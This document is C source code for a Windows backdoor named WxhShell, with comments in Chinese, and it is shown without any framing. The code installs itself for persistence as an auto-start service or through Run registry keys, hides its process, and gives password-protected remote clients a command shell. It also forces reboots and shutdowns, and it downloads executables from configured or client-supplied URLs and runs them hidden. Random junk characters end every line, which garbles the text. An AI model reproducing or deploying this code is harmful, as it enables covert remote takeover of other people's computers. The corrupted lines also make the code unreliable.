    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); CIEJql?`  
    if(Boot(SHUTDOWN)) X% X$Y6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ifvU"l  
    else { GZ"&L?ti  
    closesocket(wsh); ydB$4ZB3[  
    ExitThread(0); )d:K:YXt  
    } zA,/@/'(  
    break; s%^o*LQ|9  
    } (![t_r0  
  // 获取shell Ox|TMSb^  
  case 's': { o)p[ C   
    CmdShell(wsh); >(OYK}ZN  
    closesocket(wsh);  cLAe sj  
    ExitThread(0); 6{8/P'@/Zz  
    break; >J@egIKzP  
  } ]x@~-I )  
  // 退出 L_k9g12  
  case 'x': { %E  aE,  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); hF.6}28U1  
    CloseIt(wsh); 8""mp]o9  
    break; <XvYa{t]{  
    } JtFiFaCxY  
  // 离开 <ZVZ$ZW~D  
  case 'q': { yhwy>12,K  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); P:^=m*d  
    closesocket(wsh); 7 v~ro  
    WSACleanup(); ~#q;bS  
    exit(1); *Q5x1!#z #  
    break; Z}+yI,  
        } 6"+8M 3M l  
  } /BT1oWi1y  
  } =U c$D*  
<wa(xDBw  
  // 提示信息 f1J %]g!  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); r6MB"4xd  
} V_f`0\[x  
  } =hGJAU  
'#<> "|  
  return; Y&g&n o_  
} 1 }nm2h1 I  
Oy%Im8.-A#  
// shell模块句柄 :!']p2B  
int CmdShell(SOCKET sock) :~D]; m  
{ n/AW?'  
STARTUPINFO si; p-Pz=Cx-  
ZeroMemory(&si,sizeof(si)); [;Fofu Z  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $kl$D"*0  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; h R~v  
PROCESS_INFORMATION ProcessInfo; @hsbq  
char cmdline[]="cmd"; JhJLqb@q  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $_FZn'Db6  
  return 0; rVcBl4&1*g  
} V^2-_V]8  
\K}aQKB/j  
// 自身启动模式 8YKQIt K  
int StartFromService(void) ~#Aa Ldq  
{ r )8z#W>s  
typedef struct b2s~%}T  
{ s7"i.A  
  DWORD ExitStatus; Z/7dg-$?'0  
  DWORD PebBaseAddress; I="oxf#q  
  DWORD AffinityMask; ${>DhfF  
  DWORD BasePriority; Sr"/-  
  ULONG UniqueProcessId; fI]bzv;  
  ULONG InheritedFromUniqueProcessId; qtY m!g  
}   PROCESS_BASIC_INFORMATION; \8>oJR 6  
6c &Y  
PROCNTQSIP NtQueryInformationProcess; Yf= FeH7"  
(bvoF5%  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; nB&j   
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; R04J3D|  
>0T Za  
  HANDLE             hProcess; SX_4=^  
  PROCESS_BASIC_INFORMATION pbi; @RVOXkVo  
Q6x%  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [O 1|75  
  if(NULL == hInst ) return 0; CKd3w8;  
t !~ S9c  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); + Kk@Q  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); u|OtKq  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :1MM a6  
hDvpOIUL1  
  if (!NtQueryInformationProcess) return 0; Gkmsaf>  
gl "_:atW  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); " '[hr$h3  
  if(!hProcess) return 0; }dKLMNqPA  
xqv[? ?  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; .Q[yD<)Ubs  
F. T@)7  
  CloseHandle(hProcess); 'Sa!5h  
1.0J2nZpt  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); { i;6vRr  
if(hProcess==NULL) return 0; 7"K^H]6u30  
z 6cYC,  
HMODULE hMod; mp:m`sh*i  
char procName[255]; L;yEz[#xaT  
unsigned long cbNeeded; uA%Ts*aN  
0H+c4IW  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ]! )xr  
"i%jQL'.  
  CloseHandle(hProcess); LS6ry,D"7  
8t[t{"  
if(strstr(procName,"services")) return 1; // 以服务启动 (}jL_E  
<+q$XL0  
  return 0; // 注册表启动 enumK\  
} |^ iA6)Q  
y\z > /q  
// 主模块 A{(T'/~"  
int StartWxhshell(LPSTR lpCmdLine) 41}/w3Z4  
{ DxfMqH[vs  
  SOCKET wsl; YxyG\J\|,  
BOOL val=TRUE; ANb"oX c  
  int port=0; N9`97;.X  
  struct sockaddr_in door;  Q; 20T  
*8UYSA~v  
  if(wscfg.ws_autoins) Install(); yoU2AMH2D^  
1R^4C8*B  
port=atoi(lpCmdLine); c[:Wf<% |  
t:T?7-XIE  
if(port<=0) port=wscfg.ws_port; Nb1J ~v  
oyW00]ka  
  WSADATA data; 4By]vd<;=  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @woC8X  
h>W@U9  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   >BJ}U_ck  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |D<+X^0'  
  door.sin_family = AF_INET; *l-`<.  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); m^A]+G#/  
  door.sin_port = htons(port); "K ?#,_  
n$W"=Z;`  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { jsdBd2Gdc  
closesocket(wsl); ]1}h8/  
return 1; ?4sJw:  
} w_3xKnMT\  
)!a$#"'  
  if(listen(wsl,2) == INVALID_SOCKET) { ^aptLJF  
closesocket(wsl); D'n7&Y  
return 1; b pp*  
} u~}%1  
  Wxhshell(wsl); _:%U_U  
  WSACleanup(); !0Nf9  
Mj'lASI  
return 0; =GTD"*vwr  
_[JkJwPTx  
} ; 8E;  
G_+Ph^  
// 以NT服务方式启动 :'Xr/| s  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) S.hC$0vrj  
{ <I 1y  
DWORD   status = 0; 045\i[l=  
  DWORD   specificError = 0xfffffff; n;qz^HXEJ  
!-RwB@\  
  serviceStatus.dwServiceType     = SERVICE_WIN32; !7c'<[+Hm  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; |[ocyUsxX  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `j:M)2:*y  
  serviceStatus.dwWin32ExitCode     = 0; u G[!w!e  
  serviceStatus.dwServiceSpecificExitCode = 0; P&\X`ZUA  
  serviceStatus.dwCheckPoint       = 0; tN}c0'H  
  serviceStatus.dwWaitHint       = 0; lM+ xU;  
{_7Hz,2U  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); A8!Ed$@  
  if (hServiceStatusHandle==0) return; k9&@(G[K3  
)UP8#|$#T  
status = GetLastError(); MHl^/e@  
  if (status!=NO_ERROR) eE9|F/-L  
{ N5KEa]k1nw  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; -5xCQJ[  
    serviceStatus.dwCheckPoint       = 0; xD0NZ~w%  
    serviceStatus.dwWaitHint       = 0; H/`G  
    serviceStatus.dwWin32ExitCode     = status; a[i>;0  
    serviceStatus.dwServiceSpecificExitCode = specificError; Xl?YB Z}  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); R'Eq:Rv~;^  
    return; piuKV U  
  } doH2R @  
!&JiNn('  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; pU hc3L  
  serviceStatus.dwCheckPoint       = 0; *:j-zrwu&  
  serviceStatus.dwWaitHint       = 0; ! ]\2A.b[  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :A#+=O0\z  
} gY%&IHQ'  
+;6)  
// 处理NT服务事件,比如:启动、停止 !EM#m@kZ{  
VOID WINAPI NTServiceHandler(DWORD fdwControl) `*d{PJTv  
{ K%PxA #P}  
switch(fdwControl) G h=<0WaF=  
{ ?} X}#  
case SERVICE_CONTROL_STOP: kXEtuO5FUM  
  serviceStatus.dwWin32ExitCode = 0; Of#K:`1@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; esteFLm`6  
  serviceStatus.dwCheckPoint   = 0; $l#{_~ "m7  
  serviceStatus.dwWaitHint     = 0; '%ebcL  
  { Efvq?cG&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~?-qZ<9/  
  } ctK65h{Eo  
  return; C d|W#.6  
case SERVICE_CONTROL_PAUSE: 6y9C@5p}B  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; u?Z <n:  
  break; `I{tZ$iD  
case SERVICE_CONTROL_CONTINUE: [9HYO  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 117c,yM0  
  break; 8H_l[/  
case SERVICE_CONTROL_INTERROGATE: $W*|~}F/Ap  
  break; dr{1CP  
}; |i u2&p >  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); k#?| yP:  
} P{Lg{I_w.B  
0+|>-b/%  
// 标准应用程序主函数 u>m'FECXj  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Otxa<M+"  
{ Ysl9f1>%  
NhCAv +  
// 获取操作系统版本 i7(~>6@|  
OsIsNt=GetOsVer(); ,S0UY):(A  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Vq U|kv  
yYk|YX(7U  
  // 从命令行安装 ;.AV;C"  
  if(strpbrk(lpCmdLine,"iI")) Install(); wsI5F&R,  
1I b_Kmb-  
  // 下载执行文件 B#:E?a;{  
if(wscfg.ws_downexe) { `1q|F9D  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) PK}vh%  
  WinExec(wscfg.ws_filenam,SW_HIDE); ez+yP,.#  
} |e+aZ%g  
CdNih8uG  
if(!OsIsNt) { ^6#-yDZC@  
// 如果时win9x,隐藏进程并且设置为注册表启动 !%V*UR9  
HideProc(); 1xIFvXru  
StartWxhshell(lpCmdLine); T$ IUKR  
} ~ttKI4  
else @C07k^j=U  
  if(StartFromService()) 8UYJye8  
  // 以服务方式启动 x RB7lV*  
  StartServiceCtrlDispatcher(DispatchTable); ivD^HhG  
else $Ba`VGP>)3  
  // 普通方式启动 W.p66IQwL&  
  StartWxhshell(lpCmdLine); 58PKx5`D  
{IrJLlq  
return 0; 7~D`b1||  
} 4/f[`].#W  
YLigP"*~^  
?l>e75V%w  
Y!aLf[x]  
=========================================== 7g8B'ex J  
aTX]+tBoe  
Bqp&2zg)@  
w0X$rl1  
> R#9\/s  
d _uF Y:  
" g*28L[Q~  
}`#B f  
#include <stdio.h> t +J)dr  
#include <string.h> YY\Rua/nG  
#include <windows.h> I0(8Z]x  
#include <winsock2.h> a 1NCVZ  
#include <winsvc.h> C?S~L5a#oC  
#include <urlmon.h> ^ISQ{M#_  
_Po#ZGm~  
#pragma comment (lib, "Ws2_32.lib") !bieo'c  
#pragma comment (lib, "urlmon.lib") 8| Sba<d  
;NBT 4  
#define MAX_USER   100 // 最大客户端连接数 7fUi?41XA  
#define BUF_SOCK   200 // sock buffer I IYLA(  
#define KEY_BUFF   255 // 输入 buffer AsD1-$  
)#Y|ngZ_>  
#define REBOOT     0   // 重启 UFos E|r:  
#define SHUTDOWN   1   // 关机 +*<K"H|,  
1aVgwAI  
#define DEF_PORT   5000 // 监听端口 ThbP;CzI#  
uV!MW=)  
#define REG_LEN     16   // 注册表键长度 W!y)Ho  
#define SVC_LEN     80   // NT服务名长度 GgT=t)}wu  
48;~bVr}  
// 从dll定义API ')rD?Z9 ^  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); b6]e4DL:R  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); )S#j.8P'B  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); coSTZ&0  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (5>{?dR)|  
|^Ur  
// wxhshell配置信息 u^!&{q  
struct WSCFG { E $<;@  
  int ws_port;         // 监听端口 ??q!jm-m  
  char ws_passstr[REG_LEN]; // 口令 FDl,Ey^r/  
  int ws_autoins;       // 安装标记, 1=yes 0=no A7.JFf>  
  char ws_regname[REG_LEN]; // 注册表键名 rpx 0|{m  
  char ws_svcname[REG_LEN]; // 服务名 f x%z| K  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 EmF]W+!z%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 F W/)uf3I  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 A<a2TXcIE3  
int ws_downexe;       // 下载执行标记, 1=yes 0=no [GOX0}$?  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" NavOSlC+h  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 < rv1IJ  
#%;<FFu\  
}; Q.*'H_Y  
V2lp7"  
// default Wxhshell configuration UP5%C;  
struct WSCFG wscfg={DEF_PORT, 9&&kgKKGQ  
    "xuhuanlingzhe", m)(SG  
    1, LciL/?  
    "Wxhshell", C5BzWgK  
    "Wxhshell", G#^m<G^M  
            "WxhShell Service", an pJAB:1  
    "Wrsky Windows CmdShell Service", 7=L:m7T  
    "Please Input Your Password: ", -`,~9y;tx  
  1, EUJ1RhajF  
  "http://www.wrsky.com/wxhshell.exe", kbD*=d}3{  
  "Wxhshell.exe" &Jrq5Q C  
    }; vR<fdV  
M^Q&A R'F  
// 消息定义模块 fMgcK$  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; W<Bxm|  
char *msg_ws_prompt="\n\r? for help\n\r#>"; lR|$*:+  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6JUav."`~  
char *msg_ws_ext="\n\rExit."; iXt4|0  
char *msg_ws_end="\n\rQuit."; xU#]w6  
char *msg_ws_boot="\n\rReboot..."; z<FV1niE  
char *msg_ws_poff="\n\rShutdown..."; ^)(G(=-Rf  
char *msg_ws_down="\n\rSave to "; u Eu6f  
.ruqRGe/  
char *msg_ws_err="\n\rErr!"; cC7"J\+r*  
char *msg_ws_ok="\n\rOK!"; #rqyy0k0'h  
S(@*3]!q  
char ExeFile[MAX_PATH]; mjWp8i  
int nUser = 0; g%@]z8L  
HANDLE handles[MAX_USER]; fQ2!sV  
int OsIsNt; GZxglU,3T  
2nG{>,#C:O  
SERVICE_STATUS       serviceStatus; Sn_z  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; wjN`EF5$}&  
u>JqFw1  
// 函数声明 p,3go[9X:R  
int Install(void); 4`?sE*P@`  
int Uninstall(void); ~)WfJ  
int DownloadFile(char *sURL, SOCKET wsh); #L|JkBia  
int Boot(int flag); -='8_B/75  
void HideProc(void); ~e,f)?  
int GetOsVer(void); >DSNKU+j  
int Wxhshell(SOCKET wsl); ~gSF@tz@  
void TalkWithClient(void *cs); MYur3lj%_  
int CmdShell(SOCKET sock); /zChdjz  
int StartFromService(void); t;Fbt("]:  
int StartWxhshell(LPSTR lpCmdLine); COxZ Q  
@n5;|`)\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *[XN.sb8E  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); xCDA1y;j  
AH"g^ gw~T  
// 数据结构和表定义 XhJP87A  
SERVICE_TABLE_ENTRY DispatchTable[] = ]1YYrgi7  
{ e'}ePvN  
{wscfg.ws_svcname, NTServiceMain}, D2hAlV)i(  
{NULL, NULL} P_:?}h\  
}; V{7lltu  
5n&)q=jk=  
// 自我安装 ==PQ-Ia  
int Install(void) V{ 4i$'  
{ B}l}Aq8  
  char svExeFile[MAX_PATH]; S,d ngb{  
  HKEY key; E.5*Jr=J  
  strcpy(svExeFile,ExeFile); !#cKF6%  
4OqE.LFu  
// 如果是win9x系统,修改注册表设为自启动 GU;TK'Yy?  
if(!OsIsNt) { uFA|r X  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *il]$i  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0ECO/EuCg  
  RegCloseKey(key); %XDip]+rb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A>&>6O4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Bd N{[2  
  RegCloseKey(key); sWojQ-8}  
  return 0; Wo1V$[`Dy  
    } ~T;a jvJ  
  } P?W T)C2)u  
} $=@9 D,R  
else { h4$OXKme?  
C+Fh$  
// 如果是NT以上系统,安装为系统服务 `uaD.m$EJ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); cNuuzA  
if (schSCManager!=0) N9>'/jgZX  
{ Jq$6$A,f  
  SC_HANDLE schService = CreateService softfjl&l  
  ( '.}6]l  
  schSCManager, yNb#Ia  
  wscfg.ws_svcname, g4.'T51  
  wscfg.ws_svcdisp, {Q#Fen ;y|  
  SERVICE_ALL_ACCESS, iuH8g  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , qxg7cj2  
  SERVICE_AUTO_START, \$$b",2 h  
  SERVICE_ERROR_NORMAL, F$sF 'cw  
  svExeFile, I;kUG_c(4  
  NULL, P?3YHa^up  
  NULL, ZmR[5 mv@  
  NULL, OyG_thX  
  NULL, 7E\K!v_  
  NULL n+RUPZ  
  ); {Vt^Xc  
  if (schService!=0) >? A `C!i  
  { w# gU1yu  
  CloseServiceHandle(schService); z9);e8ck  
  CloseServiceHandle(schSCManager); 8KGv?^M 6W  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); I/ e2,  
  strcat(svExeFile,wscfg.ws_svcname); |GVGny<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &EbD.>Ci  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); i\DHIzGp[  
  RegCloseKey(key); m_PrasZ>  
  return 0; ]<o.aMdV  
    } (x@i,Ba@  
  } QB.*R?A  
  CloseServiceHandle(schSCManager); ;?HZ,"^I  
} AT'_0> x8  
} dWq/)%@t  
)W}/k$S  
return 1; ]B-$p p  
} "k_n+cH%  
^S;RX*  
// 自我卸载 J}Z_.:JO(w  
int Uninstall(void) rz%[o,s  
{ A aF5`  
  HKEY key; kgbr+Yw2X  
YCLD!S/?  
if(!OsIsNt) { Z%HEn$t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lJz?QI1  
  RegDeleteValue(key,wscfg.ws_regname); "DcueU#!  
  RegCloseKey(key); Dry;$C}P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { i1_>>49*  
  RegDeleteValue(key,wscfg.ws_regname); Kj1#R  
  RegCloseKey(key); G+QNg .pH  
  return 0; CrwcYzrRWl  
  } ]`i@~Z h\  
} 2'UFHiK  
} p *W ZY=Q  
else { @qr3v>3X<  
E't G5,/m  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);  _.J[w6  
if (schSCManager!=0) ~"<VUJ=Ly:  
{ p?`|CE@h7  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +<9q]V  
  if (schService!=0) $=QGua V  
  { (82\&dfy  
  if(DeleteService(schService)!=0) { KiRt'  
  CloseServiceHandle(schService); @)juP- o%  
  CloseServiceHandle(schSCManager); 2Ws/0c  
  return 0; dc@wf;o  
  } Cak/#1  
  CloseServiceHandle(schService); C&s }m0R  
  } |uBot#K|  
  CloseServiceHandle(schSCManager); O^="T^J  
} zHum&V8=H  
} {;(g[H=q;  
m 'H  
return 1; z1@sEfk>  
}  !k??Kj  
x8rFMR#S=  
// 从指定url下载文件 X#NeB>~  
int DownloadFile(char *sURL, SOCKET wsh) p ra-8z-  
{ )]>Y*<s }  
  HRESULT hr; __zu- !v  
char seps[]= "/"; Sy0s `\[  
char *token; +Tc(z{;  
char *file; <"|<)BGeI  
char myURL[MAX_PATH]; {msB+n~WZ  
char myFILE[MAX_PATH]; "a`0w9Mm}  
*,XJN_DKj  
strcpy(myURL,sURL); WSB|-Qj}W  
  token=strtok(myURL,seps); M(]|}%  
  while(token!=NULL) n)?F 9Wap  
  { o? xR[N-J  
    file=token; 2T2#HP  
  token=strtok(NULL,seps); WZ V*J&  
  } .=w`T #L  
]H9HO2wGQ  
GetCurrentDirectory(MAX_PATH,myFILE); JU2' ~chh  
strcat(myFILE, "\\"); )yH#*~X_   
strcat(myFILE, file); JA(q>>4  
  send(wsh,myFILE,strlen(myFILE),0); +?m=f}>W1  
send(wsh,"...",3,0); 5J2p^$s  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \iLd6Qo_aq  
  if(hr==S_OK) `kT$Gx4x  
return 0; 90(oV&  
else S0QU@e  
return 1; & I'F-F;  
xfV2/A#h  
} :IKp7BS  
P}u<NPy3Q  
// 系统电源模块 &i}cC4i   
int Boot(int flag) B>nd9Z '  
{ `3s-%>  
  HANDLE hToken; :Y?08/V  
  TOKEN_PRIVILEGES tkp; =Q 0 )t_z_  
m?CjYqvf  
  if(OsIsNt) { $MEbePxe  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^@w1Z{:  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ::b;4Q L  
    tkp.PrivilegeCount = 1;  KNyD}1  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; M@z/ gy^  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Hx/Vm`pRyX  
if(flag==REBOOT) { l:C0:m%  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }8KL]11b  
  return 0; !-o||rt  
} &CsBG?@Z|  
else { &aht K}u  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) lukRFN>c"  
  return 0; G uI sM  
} /OtQk -E  
  } iQR})=Q  
  else { ?#y<^oNM  
if(flag==REBOOT) { [5#/& k{  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {7szo`U2  
  return 0; x@\'@>_GM  
} sOHAW*+  
else { 6Kc7@oO~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /PuWJPy;  
  return 0; L ]'CA^N  
} 2%%U)|39mB  
} aRKG)0=  
WC&Ltw8  
return 1; ,<WykeC  
} lMf5F8  
cG"<*Xi<  
// win9x进程隐藏模块 s-DL=MD  
void HideProc(void) vK>^#b3  
{ ] :#IZ0#  
lGgKzi9VD  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); c{P`oB8  
  if ( hKernel != NULL ) ?S7:KnU>K  
  { ;rdLYmmx^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]lG\t'R  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &otgN<H9  
    FreeLibrary(hKernel); i58CA?  
  } HpC4$JMm  
+FK<j;}C7  
return;  } R6h  
} Hx0,kOh)  
J}u1\Id%  
// 获取操作系统版本 \ku{-^7  
int GetOsVer(void) AlhiF\+ C  
{ ZDD|MH  
  OSVERSIONINFO winfo; 3"%44'  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); xeh|u"5  
  GetVersionEx(&winfo); TzXl ?N  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) vwD(J.;  
  return 1; DKCy h`  
  else ^%@.Vvz<  
  return 0;  ?wY.B  
} gJv^v`X  
)ciHY6  
// 客户端句柄模块 Oz7v hOU  
int Wxhshell(SOCKET wsl) 1 niTkop  
{ #-,`4x$m|  
  SOCKET wsh; GlZDuU  
  struct sockaddr_in client; e28#Yh@U  
  DWORD myID; RuuU}XQ  
wfzb:Aig`  
  while(nUser<MAX_USER) D:,<9%A  
{ j!H?dnE||  
  int nSize=sizeof(client); 0g)mf6}o  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #| Po&yu4R  
  if(wsh==INVALID_SOCKET) return 1; C5 !n {  
R>q'Ymu~  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); J[AgOUc  
if(handles[nUser]==0) 0:8'Ov(  
  closesocket(wsh); Y{@[)M{<  
else %syBm  
  nUser++; K; lC#  
  } m %3Kq%?O  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); GTvb^+6  
Z&!$G'X  
  return 0; v836nxLM  
} ~h.B\Sc]Q  
bhYaG i0  
// 关闭 socket y~[So ,G  
void CloseIt(SOCKET wsh) =)bc/309  
{ :b-(@a7>  
closesocket(wsh); Q+dI,5YF  
nUser--; R/|o?qTrj  
ExitThread(0); `lzH:B  
} LlqhZetS  
.&dcJh*O+  
// 客户端请求句柄 fok#D>q  
void TalkWithClient(void *cs) K-5)Y+| >  
{ p(>'4#|qy  
W&#Nk5d  
  SOCKET wsh=(SOCKET)cs; G7?EaLsfQ  
  char pwd[SVC_LEN]; N h%8;  
  char cmd[KEY_BUFF]; q[ZYlF,Ho  
char chr[1]; }J`Gm  
int i,j; j!rz@Y3  
Hua8/:![+  
  while (nUser < MAX_USER) { h,g~J-x`|  
ZAwl,N){  
if(wscfg.ws_passstr) { +`FY  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); z_TK (;j  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yfrgYA  
  //ZeroMemory(pwd,KEY_BUFF); ,\7okf7H,-  
      i=0; N~(}?'y9S  
  while(i<SVC_LEN) { F\;1:y~1  
tWuQKN`_  
  // 设置超时 qE[}Cf]X  
  fd_set FdRead; $Izk]o;X~  
  struct timeval TimeOut; _De;SB %V  
  FD_ZERO(&FdRead); hZy*E[i  
  FD_SET(wsh,&FdRead); = '[@UVH(Z  
  TimeOut.tv_sec=8; 5KzU&!Zh9  
  TimeOut.tv_usec=0; k,,}N 9  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3*<W`yed  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !;-x]_  
 |QdS;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); WRCi!  
  pwd=chr[0]; teb(\% ,  
  if(chr[0]==0xd || chr[0]==0xa) { >qla,}x  
  pwd=0; dXhV]xK  
  break; KtE`L4tW6  
  } <U*d   
  i++; :&MiO3#+  
    } 04:Dbt~=?p  
4Ki'r&L\  
  // 如果是非法用户,关闭 socket L<n_}ucA  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); QB3AL; 7  
} uJizR F  
nYY U  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 6822xk  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tp"\  
e_SlM=_ u  
while(1) {  Sk-Ti\  
E_P]f%  
  ZeroMemory(cmd,KEY_BUFF); BKk*<WMD  
tq[C"| dH  
      // 自动支持客户端 telnet标准   #@ G2n@Hj  
  j=0; = j -  
  while(j<KEY_BUFF) { "q8wEu,z[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cP,jC(<N  
  cmd[j]=chr[0]; W7 $yE},z  
  if(chr[0]==0xa || chr[0]==0xd) { &oBJY'1  
  cmd[j]=0; r\zK>GVm_  
  break; P+xZaf H  
  } & CgLF]  
  j++; ^H'#*b0u  
    } K^+B"  
{ib`mC^  
  // 下载文件 _B2t|uQ  
  if(strstr(cmd,"http://")) { Wo&i)S<i0F  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %zGPF  
  if(DownloadFile(cmd,wsh)) h!MT5B)r.  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ETtR*5Y 5  
  else =S,^"D\Z:  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); | zf||ju  
  } f' eKX7R  
